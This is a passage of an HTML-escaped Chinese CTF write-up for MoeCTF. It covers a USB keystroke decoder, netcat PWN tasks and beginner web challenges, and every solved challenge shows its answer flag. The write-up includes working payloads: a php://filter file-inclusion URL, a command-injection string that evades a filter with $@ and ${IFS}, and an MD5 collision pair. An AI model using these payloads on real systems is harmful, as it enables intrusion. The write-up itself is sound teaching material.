punctuation\"\u003e:\u003c/span\u003e \u003cspan class=\"token string\"\u003e\u0026#34;\u0026gt;\u0026#34;\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e \u003cspan class=\"token number\"\u003e0x50\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e:\u003c/span\u003e \u003cspan class=\"token string\"\u003e\u0026#34;\u0026lt;\u0026#34;\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e}\u003c/span\u003e\u003cspan class=\"token keyword\"\u003edef\u003c/span\u003e \u003cspan class=\"token function\"\u003ecode2chr\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003efilepath\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e:\u003c/span\u003e lines \u003cspan class=\"token operator\"\u003e=\u003c/span\u003e \u003cspan class=\"token punctuation\"\u003e[\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e]\u003c/span\u003e pos \u003cspan class=\"token operator\"\u003e=\u003c/span\u003e \u003cspan class=\"token number\"\u003e0\u003c/span\u003e \u003cspan class=\"token keyword\"\u003efor\u003c/span\u003e x \u003cspan class=\"token keyword\"\u003ein\u003c/span\u003e \u003cspan class=\"token builtin\"\u003eopen\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003efilepath\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e \u003cspan class=\"token string\"\u003e\u0026#34;r\u0026#34;\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e.\u003c/span\u003ereadlines\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e:\u003c/span\u003e code \u003cspan class=\"token operator\"\u003e=\u003c/span\u003e \u003cspan class=\"token builtin\"\u003eint\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003ex\u003cspan class=\"token punctuation\"\u003e[\u003c/span\u003e\u003cspan class=\"token number\"\u003e4\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e:\u003c/span\u003e\u003cspan class=\"token number\"\u003e6\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e]\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e \u003cspan class=\"token number\"\u003e16\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e \u003cspan class=\"token comment\"\u003e# 即第三个字节\u003c/span\u003e \u003cspan class=\"token keyword\"\u003eif\u003c/span\u003e code \u003cspan class=\"token operator\"\u003e==\u003c/span\u003e \u003cspan class=\"token number\"\u003e0\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e:\u003c/span\u003e \u003cspan class=\"token keyword\"\u003econtinue\u003c/span\u003e \u003cspan class=\"token comment\"\u003e# newline or down arrow - move down\u003c/span\u003e \u003cspan class=\"token keyword\"\u003eif\u003c/span\u003e code \u003cspan class=\"token operator\"\u003e==\u003c/span\u003e \u003cspan class=\"token number\"\u003e0x51\u003c/span\u003e \u003cspan class=\"token keyword\"\u003eor\u003c/span\u003e code \u003cspan class=\"token operator\"\u003e==\u003c/span\u003e \u003cspan class=\"token number\"\u003e0x28\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e:\u003c/span\u003e pos \u003cspan class=\"token operator\"\u003e+=\u003c/span\u003e \u003cspan class=\"token number\"\u003e1\u003c/span\u003e \u003cspan class=\"token keyword\"\u003econtinue\u003c/span\u003e \u003cspan class=\"token comment\"\u003e# up arrow - move up\u003c/span\u003e \u003cspan class=\"token keyword\"\u003eif\u003c/span\u003e code \u003cspan class=\"token operator\"\u003e==\u003c/span\u003e \u003cspan class=\"token number\"\u003e0x52\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e:\u003c/span\u003e pos \u003cspan class=\"token operator\"\u003e-=\u003c/span\u003e \u003cspan class=\"token number\"\u003e1\u003c/span\u003e \u003cspan class=\"token keyword\"\u003econtinue\u003c/span\u003e \u003cspan class=\"token comment\"\u003e# select the character based on the Shift key\u003c/span\u003e \u003cspan class=\"token keyword\"\u003ewhile\u003c/span\u003e \u003cspan class=\"token builtin\"\u003elen\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003elines\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e \u003cspan class=\"token operator\"\u003e\u0026lt;=\u003c/span\u003e pos\u003cspan class=\"token punctuation\"\u003e:\u003c/span\u003e lines\u003cspan class=\"token punctuation\"\u003e.\u003c/span\u003eappend\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003e\u003cspan class=\"token string\"\u003e\u0026#34;\u0026#34;\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e \u003cspan class=\"token keyword\"\u003eif\u003c/span\u003e code \u003cspan class=\"token keyword\"\u003ein\u003c/span\u003e \u003cspan class=\"token builtin\"\u003erange\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003e\u003cspan class=\"token number\"\u003e4\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e \u003cspan class=\"token number\"\u003e81\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e:\u003c/span\u003e \u003cspan class=\"token keyword\"\u003eif\u003c/span\u003e \u003cspan class=\"token builtin\"\u003eint\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003ex\u003cspan class=\"token punctuation\"\u003e[\u003c/span\u003e\u003cspan class=\"token number\"\u003e0\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e:\u003c/span\u003e\u003cspan class=\"token number\"\u003e2\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e]\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e \u003cspan class=\"token number\"\u003e16\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e \u003cspan class=\"token operator\"\u003e==\u003c/span\u003e \u003cspan class=\"token number\"\u003e2\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e:\u003c/span\u003e \u003cspan class=\"token keyword\"\u003eif\u003c/span\u003e code \u003cspan class=\"token keyword\"\u003ein\u003c/span\u003e usb_codes\u003cspan class=\"token punctuation\"\u003e:\u003c/span\u003e lines\u003cspan class=\"token punctuation\"\u003e[\u003c/span\u003epos\u003cspan class=\"token punctuation\"\u003e]\u003c/span\u003e \u003cspan class=\"token operator\"\u003e+=\u003c/span\u003e usb_codes\u003cspan class=\"token punctuation\"\u003e[\u003c/span\u003ecode\u003cspan class=\"token punctuation\"\u003e]\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e[\u003c/span\u003e\u003cspan class=\"token number\"\u003e1\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e]\u003c/span\u003e \u003cspan class=\"token keyword\"\u003eelse\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e:\u003c/span\u003e lines\u003cspan class=\"token punctuation\"\u003e[\u003c/span\u003epos\u003cspan class=\"token punctuation\"\u003e]\u003c/span\u003e \u003cspan class=\"token operator\"\u003e+=\u003c/span\u003e \u003cspan class=\"token string\"\u003e\u0026#34;\u0026lt;un\u0026gt;\u0026#34;\u003c/span\u003e \u003cspan class=\"token keyword\"\u003eelse\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e:\u003c/span\u003e \u003cspan class=\"token keyword\"\u003eif\u003c/span\u003e code \u003cspan class=\"token keyword\"\u003ein\u003c/span\u003e usb_codes\u003cspan class=\"token punctuation\"\u003e:\u003c/span\u003e lines\u003cspan class=\"token punctuation\"\u003e[\u003c/span\u003epos\u003cspan class=\"token punctuation\"\u003e]\u003c/span\u003e \u003cspan class=\"token operator\"\u003e+=\u003c/span\u003e usb_codes\u003cspan class=\"token punctuation\"\u003e[\u003c/span\u003ecode\u003cspan class=\"token punctuation\"\u003e]\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e[\u003c/span\u003e\u003cspan class=\"token number\"\u003e0\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e]\u003c/span\u003e \u003cspan class=\"token keyword\"\u003eelse\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e:\u003c/span\u003e lines\u003cspan class=\"token punctuation\"\u003e[\u003c/span\u003epos\u003cspan class=\"token punctuation\"\u003e]\u003c/span\u003e \u003cspan class=\"token operator\"\u003e+=\u003c/span\u003e \u003cspan class=\"token string\"\u003e\u0026#34;\u0026lt;un\u0026gt;\u0026#34;\u003c/span\u003e result \u003cspan class=\"token operator\"\u003e=\u003c/span\u003e \u003cspan class=\"token string\"\u003e\u0026#34;\u0026#34;\u003c/span\u003e \u003cspan class=\"token keyword\"\u003efor\u003c/span\u003e x \u003cspan class=\"token keyword\"\u003ein\u003c/span\u003e lines\u003cspan class=\"token punctuation\"\u003e:\u003c/span\u003e result \u003cspan class=\"token operator\"\u003e+=\u003c/span\u003e x \u003cspan class=\"token comment\"\u003e# print(x)\u003c/span\u003e fout \u003cspan class=\"token operator\"\u003e=\u003c/span\u003e \u003cspan class=\"token builtin\"\u003eopen\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003e\u003cspan class=\"token string\"\u003e\u0026#39;C:\\\\Users\\\\(后面路径省略)\u0026#39;\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e \u003cspan class=\"token string\"\u003e\u0026#39;w\u0026#39;\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e fout\u003cspan class=\"token punctuation\"\u003e.\u003c/span\u003ewrite\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003eresult\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e fout\u003cspan class=\"token punctuation\"\u003e.\u003c/span\u003eclose\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e\u003cspan class=\"token keyword\"\u003eif\u003c/span\u003e __name__ \u003cspan class=\"token operator\"\u003e==\u003c/span\u003e \u003cspan class=\"token string\"\u003e\u0026#34;__main__\u0026#34;\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e:\u003c/span\u003e code2chr\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003e\u003cspan class=\"token string\"\u003e\u0026#39;C:\\\\Users\\\\(后面路径省略)\u0026#39;\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e\u003cspan aria-hidden=\"true\" class=\"line-numbers-rows\"\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003c/figure\u003e\u003cp\u003e得到flag\u003c/p\u003e\u003cdetails\u003e\u003csummary\u003eFlag\u003c/summary\u003e\u003cp\u003e\u003cb\u003emoectf{D@m3daNe_D4me_yoooooo}\u003c/b\u003e\u003c/p\u003e\u003c/details\u003e\u003ch2 id=\"PWN\"\u003e\u003ca href=\"http://http//blog.ksfu.top/posts/82c9/#PWN\" class=\"headerlink\" title=\"PWN\"\u003e\u003c/a\u003ePWN\u003c/h2\u003e\u003ch3 id=\"02-test-your-nc\"\u003e\u003ca href=\"http://http//blog.ksfu.top/posts/82c9/#02-test-your-nc\" class=\"headerlink\" title=\"02 test_your_nc\"\u003e\u003c/a\u003e02 test_your_nc\u003c/h3\u003e\u003cp\u003e如题\u003c/p\u003e\u003cfigure\u003e\u003cdiv class=\"code-wrapper\"\u003e\u003cpre class=\"line-numbers language-bash\" data-language=\"bash\"\u003e\u003ccode class=\"language-bash\"\u003e\u003cspan class=\"token function\"\u003enc\u003c/span\u003e pwn.blackbird.wang \u003cspan class=\"token number\"\u003e9500\u003c/span\u003e\u003cspan class=\"token function\"\u003els\u003c/span\u003e\u003cspan class=\"token function\"\u003ecat\u003c/span\u003e flag\u003cspan aria-hidden=\"true\" class=\"line-numbers-rows\"\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003c/figure\u003e\u003cp\u003e得到flag\u003c/p\u003e\u003cdetails\u003e\u003csummary\u003eFlag\u003c/summary\u003e\u003cp\u003e\u003cb\u003emoectf{enjoy_the_netcat_and_the_shell}\u003c/b\u003e\u003c/p\u003e\u003c/details\u003e\u003ch3 id=\"03-Int-overflow\"\u003e\u003ca href=\"http://http//blog.ksfu.top/posts/82c9/#03-Int-overflow\" class=\"headerlink\" title=\"03 Int_overflow\"\u003e\u003c/a\u003e03 Int_overflow\u003c/h3\u003e\u003cp\u003e试着试着给了个 \u003ccode\u003e-1\u003c/code\u003e ,得到flag\u003c/p\u003e\u003cdetails\u003e\u003csummary\u003eFlag\u003c/summary\u003e\u003cp\u003e\u003cb\u003emoectf{y0ul0v3m3m3l0v3y0u_1nt0v3rfl0w}\u003c/b\u003e\u003c/p\u003e\u003c/details\u003e\u003ch2 id=\"Web\"\u003e\u003ca href=\"http://http//blog.ksfu.top/posts/82c9/#Web\" class=\"headerlink\" title=\"Web\"\u003e\u003c/a\u003eWeb\u003c/h2\u003e\u003cp\u003e\u003cdel\u003ePHP真实绝绝子\u003c/del\u003e\u003c/p\u003e\u003ch3 id=\"02-Web安全入门指北—GET\"\u003e\u003ca href=\"http://http//blog.ksfu.top/posts/82c9/#02-Web%E5%AE%89%E5%85%A8%E5%85%A5%E9%97%A8%E6%8C%87%E5%8C%97%E2%80%94GET\" class=\"headerlink\" title=\"02 Web安全入门指北—GET\"\u003e\u003c/a\u003e02 Web安全入门指北—GET\u003c/h3\u003e\u003cfigure\u003e\u003cdiv class=\"code-wrapper\"\u003e\u003cpre class=\"line-numbers language-bash\" data-language=\"bash\"\u003e\u003ccode class=\"language-bash\"\u003ehttp://47.93.215.154:10000/?moe\u003cspan class=\"token operator\"\u003e=\u003c/span\u003eflag\u003cspan aria-hidden=\"true\" class=\"line-numbers-rows\"\u003e\u003cspan\u003e\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003c/figure\u003e\u003cdetails\u003e\u003csummary\u003eFlag\u003c/summary\u003e\u003cp\u003e\u003cb\u003emoectf{We1c0me_t0_CTF_Web!}\u003c/b\u003e\u003c/p\u003e\u003c/details\u003e\u003ch3 id=\"03-Web安全入门指北—POST\"\u003e\u003ca href=\"http://http//blog.ksfu.top/posts/82c9/#03-Web%E5%AE%89%E5%85%A8%E5%85%A5%E9%97%A8%E6%8C%87%E5%8C%97%E2%80%94POST\" class=\"headerlink\" title=\"03 Web安全入门指北—POST\"\u003e\u003c/a\u003e03 Web安全入门指北—POST\u003c/h3\u003e\u003cp\u003e随便找个在线工具发POST就行\u003c/p\u003e\u003cdetails\u003e\u003csummary\u003eFlag\u003c/summary\u003e\u003cp\u003e\u003cb\u003emoectf{POST_1s_an_1mp0rtant_m3th0d!}\u003c/b\u003e\u003c/p\u003e\u003c/details\u003e\u003ch3 id=\"04-Web安全入门指北—小饼干\"\u003e\u003ca href=\"http://http//blog.ksfu.top/posts/82c9/#04-Web%E5%AE%89%E5%85%A8%E5%85%A5%E9%97%A8%E6%8C%87%E5%8C%97%E2%80%94%E5%B0%8F%E9%A5%BC%E5%B9%B2\" class=\"headerlink\" title=\"04 Web安全入门指北—小饼干\"\u003e\u003c/a\u003e04 Web安全入门指北—小饼干\u003c/h3\u003e\u003cp\u003e浏览器F12 把cookies里值改成1,刷新\u003c/p\u003e\u003cdetails\u003e\u003csummary\u003eFlag\u003c/summary\u003e\u003cp\u003e\u003cb\u003emoectf{C00kie_1s_sw33t!}\u003c/b\u003e\u003c/p\u003e\u003c/details\u003e\u003ch3 id=\"05-2048\"\u003e\u003ca href=\"http://http//blog.ksfu.top/posts/82c9/#05-2048\" class=\"headerlink\" title=\"05 2048\"\u003e\u003c/a\u003e05 2048\u003c/h3\u003e\u003cp\u003e审查元素大法好,找到代码\u003c/p\u003e\u003cfigure\u003e\u003cdiv class=\"code-wrapper\"\u003e\u003cpre class=\"line-numbers language-javascript\" data-language=\"javascript\"\u003e\u003ccode class=\"language-javascript\"\u003e\u003cspan class=\"token function-variable function\"\u003egetFlag\u003c/span\u003e\u003cspan class=\"token operator\"\u003e:\u003c/span\u003e \u003cspan class=\"token keyword\"\u003efunction\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e \u003cspan class=\"token punctuation\"\u003e{\u003c/span\u003e \u003cspan class=\"token keyword\"\u003evar\u003c/span\u003e req \u003cspan class=\"token operator\"\u003e=\u003c/span\u003e \u003cspan class=\"token keyword\"\u003enew\u003c/span\u003e \u003cspan class=\"token class-name\"\u003eXMLHttpRequest\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e req\u003cspan class=\"token punctuation\"\u003e.\u003c/span\u003e\u003cspan class=\"token function\"\u003eopen\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003e\u003cspan class=\"token string\"\u003e\u0026#34;GET\u0026#34;\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e\u003cspan class=\"token string\"\u003e\u0026#34;flag.php?score=\u0026#34;\u003c/span\u003e\u003cspan class=\"token operator\"\u003e+\u003c/span\u003eobj\u003cspan class=\"token punctuation\"\u003e.\u003c/span\u003escore\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e\u003cspan class=\"token boolean\"\u003etrue\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e req\u003cspan class=\"token punctuation\"\u003e.\u003c/span\u003e\u003cspan class=\"token function-variable function\"\u003eonload\u003c/span\u003e \u003cspan class=\"token operator\"\u003e=\u003c/span\u003e \u003cspan class=\"token keyword\"\u003efunction\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e \u003cspan class=\"token punctuation\"\u003e{\u003c/span\u003e \u003cspan class=\"token function\"\u003ealert\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003e\u003cspan class=\"token keyword\"\u003ethis\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e.\u003c/span\u003eresponseText\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e \u003cspan class=\"token punctuation\"\u003e}\u003c/span\u003e req\u003cspan class=\"token punctuation\"\u003e.\u003c/span\u003e\u003cspan class=\"token function\"\u003esend\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e \u003cspan class=\"token punctuation\"\u003e}\u003c/span\u003e\u003cspan aria-hidden=\"true\" class=\"line-numbers-rows\"\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003c/figure\u003e\u003cp\u003e打开发现申必数字\u003ccode\u003e50000\u003c/code\u003e\u003c/p\u003e\u003cfigure\u003e\u003cdiv class=\"code-wrapper\"\u003e\u003cpre class=\"line-numbers language-bash\" data-language=\"bash\"\u003e\u003ccode class=\"language-bash\"\u003ehttp://47.93.215.154:5001/flag.php?score\u003cspan class=\"token operator\"\u003e=\u003c/span\u003e\u003cspan class=\"token number\"\u003e50000\u003c/span\u003e\u003cspan aria-hidden=\"true\" class=\"line-numbers-rows\"\u003e\u003cspan\u003e\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003c/figure\u003e\u003cp\u003e获得flag\u003c/p\u003e\u003cdetails\u003e\u003csummary\u003eFlag\u003c/summary\u003e\u003cp\u003e\u003cb\u003emoectf{2048_1s_intere5t1ng!}\u003c/b\u003e\u003c/p\u003e\u003c/details\u003e\u003cp\u003e参考博客\u003c/p\u003e\u003cblockquote\u003e\u003cp\u003e\u003ca href=\"https://blog.csdn.net/CSDNiamcoming/article/details/108837347\"\u003e(6条消息) 总结ctf中 MD5 绕过的一些思路_y0un9er-CSDN博客_ctf md5绕过\u003c/a\u003e\u003c/p\u003e\u003c/blockquote\u003e\u003cfigure\u003e\u003cdiv class=\"code-wrapper\"\u003e\u003cpre class=\"line-numbers language-bash\" data-language=\"bash\"\u003e\u003ccode class=\"language-bash\"\u003e\u003cspan class=\"token assign-left variable\"\u003ea\u003c/span\u003e\u003cspan class=\"token operator\"\u003e=\u003c/span\u003e%4d%c9%68%ff%0e%e3%5c%20%95%72%d4%77%7b%72%15%87%d3%6f%a7%b2%1b%dc%56%b7%4a%3d%c0%78%3e%7b%95%18%af%bf%a2%00%a8%28%4b%f3%6e%8e%4b%55%b3%5f%42%75%93%d8%49%67%6d%a0%d1%55%5d%83%60%fb%5f%07%fe%a2\u003cspan class=\"token assign-left variable\"\u003eb\u003c/span\u003e\u003cspan class=\"token operator\"\u003e=\u003c/span\u003e%4d%c9%68%ff%0e%e3%5c%20%95%72%d4%77%7b%72%15%87%d3%6f%a7%b2%1b%dc%56%b7%4a%3d%c0%78%3e%7b%95%18%af%bf%a2%02%a8%28%4b%f3%6e%8e%4b%55%b3%5f%42%75%93%d8%49%67%6d%a0%d1%d5%5d%83%60%fb%5f%07%fe%a2\u003cspan aria-hidden=\"true\" class=\"line-numbers-rows\"\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003c/figure\u003e\u003cdetails\u003e\u003csummary\u003eFlag\u003c/summary\u003e\u003cp\u003e\u003cb\u003emoectf{xdsec3gf9dfg62fh342}\u003c/b\u003e\u003c/p\u003e\u003c/details\u003e\u003ch3 id=\"06-ezinclude\"\u003e\u003ca href=\"http://http//blog.ksfu.top/posts/82c9/#06-ezinclude\" class=\"headerlink\" title=\"06 ezinclude\"\u003e\u003c/a\u003e06 ezinclude\u003c/h3\u003e\u003cp\u003e参考博客\u003c/p\u003e\u003cblockquote\u003e\u003cp\u003e\u003ca href=\"https://blog.csdn.net/vhkjhwbs/article/details/99728785\"\u003ehttps://blog.csdn.net/vhkjhwbs/article/details/99728785\u003c/a\u003e\u003c/p\u003e\u003cp\u003e\u003ca href=\"https://blog.csdn.net/qq_42181428/article/details/87090539\"\u003ehttps://blog.csdn.net/qq_42181428/article/details/87090539\u003c/a\u003e\u003c/p\u003e\u003cp\u003e\u003ca href=\"https://www.leavesongs.com/PENETRATION/php-filter-magic.html\"\u003ehttps://www.leavesongs.com/PENETRATION/php-filter-magic.html\u003c/a\u003e\u003c/p\u003e\u003cp\u003e\u003ca href=\"https://www.cnblogs.com/ichunqiu/p/10683379.html\"\u003ehttps://www.cnblogs.com/ichunqiu/p/10683379.html\u003c/a\u003e\u003c/p\u003e\u003c/blockquote\u003e\u003cfigure\u003e\u003cdiv class=\"code-wrapper\"\u003e\u003cpre class=\"line-numbers language-bash\" data-language=\"bash\"\u003e\u003ccode class=\"language-bash\"\u003ehttp://47.98.215.112:5000/?file\u003cspan class=\"token operator\"\u003e=\u003c/span\u003ephp://filter/read\u003cspan class=\"token operator\"\u003e=\u003c/span\u003econvert.base64-encode/resource\u003cspan class=\"token operator\"\u003e=\u003c/span\u003eflag.php\u003cspan aria-hidden=\"true\" class=\"line-numbers-rows\"\u003e\u003cspan\u003e\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003c/figure\u003e\u003cp\u003e得到base64字符串,解码\u003c/p\u003e\u003cdetails\u003e\u003csummary\u003eFlag\u003c/summary\u003e\u003cp\u003e\u003cb\u003emoectf{xdsec6asdgas7ahfsfaxczc}\u003c/b\u003e\u003c/p\u003e\u003c/details\u003e\u003ch3 id=\"07-babeRCE\"\u003e\u003ca href=\"http://http//blog.ksfu.top/posts/82c9/#07-babeRCE\" class=\"headerlink\" title=\"07 babeRCE\"\u003e\u003c/a\u003e07 babeRCE\u003c/h3\u003e\u003cp\u003e参考博客\u003c/p\u003e\u003cblockquote\u003e\u003cp\u003e\u003ca href=\"https://blog.csdn.net/qq_44657899/article/details/107676580\"\u003ehttps://blog.csdn.net/qq_44657899/article/details/107676580\u003c/a\u003e\u003c/p\u003e\u003c/blockquote\u003e\u003cp\u003e挺有意思,试了里面好多法子,最后试出来了然后还得每个字符之间都加\u003c/p\u003e\u003cfigure\u003e\u003cdiv class=\"code-wrapper\"\u003e\u003cpre class=\"line-numbers language-bash\" data-language=\"bash\"\u003e\u003ccode class=\"language-bash\"\u003ehttp://47.93.215.154:5000/?rce\u003cspan class=\"token operator\"\u003e=\u003c/span\u003et\u003cspan class=\"token variable\"\u003e$@\u003c/span\u003ea\u003cspan class=\"token variable\"\u003e$@\u003c/span\u003ec\u003cspan class=\"token variable\"\u003e${\u003cspan class=\"token environment constant\"\u003eIFS\u003c/span\u003e}\u003c/span\u003ef\u003cspan class=\"token variable\"\u003e$@\u003c/span\u003el\u003cspan class=\"token variable\"\u003e$@\u003c/span\u003ea\u003cspan class=\"token variable\"\u003e$@\u003c/span\u003eg\u003cspan class=\"token variable\"\u003e$@\u003c/span\u003e\u003cspan class=\"token builtin class-name\"\u003e.\u003c/span\u003e\u003cspan class=\"token variable\"\u003e$@\u003c/span\u003ep\u003cspan class=\"token variable\"\u003e$@\u003c/span\u003eh\u003cspan class=\"token variable\"\u003e$@\u003c/span\u003ep\u003cspan aria-hidden=\"true\" class=\"line-numbers-rows\"\u003e\u003cspan\u003e\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003c/figure\u003e\u003cdetails\u003e\u003csummary\u003eFlag\u003c/summary\u003e\u003cp\u003e\u003cb\u003eoectf{Do_y0u_l1k3_Rcccccccccccccce?}\u003c/b\u003e\u003c/p\u003e\u003c/details\u003e### 08 Do you know HTTP?\u003cp\u003ephp真是绝绝子\u003c/p\u003e\u003cp\u003e用php+curl,查阅了文档,然后一步一步按题给的要求加东西\u003c/p\u003e\u003cfigure\u003e\u003cdiv class=\"code-wrapper\"\u003e\u003cpre class=\"line-numbers language-php\" data-language=\"php\"\u003e\u003ccode class=\"language-php\"\u003e\u003cspan class=\"token php language-php\"\u003e\u003cspan class=\"token delimiter important\"\u003e\u0026lt;?php\u003c/span\u003e\u003cspan class=\"token variable\"\u003e$url\u003c/span\u003e\u003cspan class=\"token operator\"\u003e=\u003c/span\u003e\u003cspan class=\"token string single-quoted-string\"\u003e\u0026#39;http://47.93.215.154:5002\u0026#39;\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e\u003cspan class=\"token variable\"\u003e$ch\u003c/span\u003e\u003cspan class=\"token operator\"\u003e=\u003c/span\u003e\u003cspan class=\"token 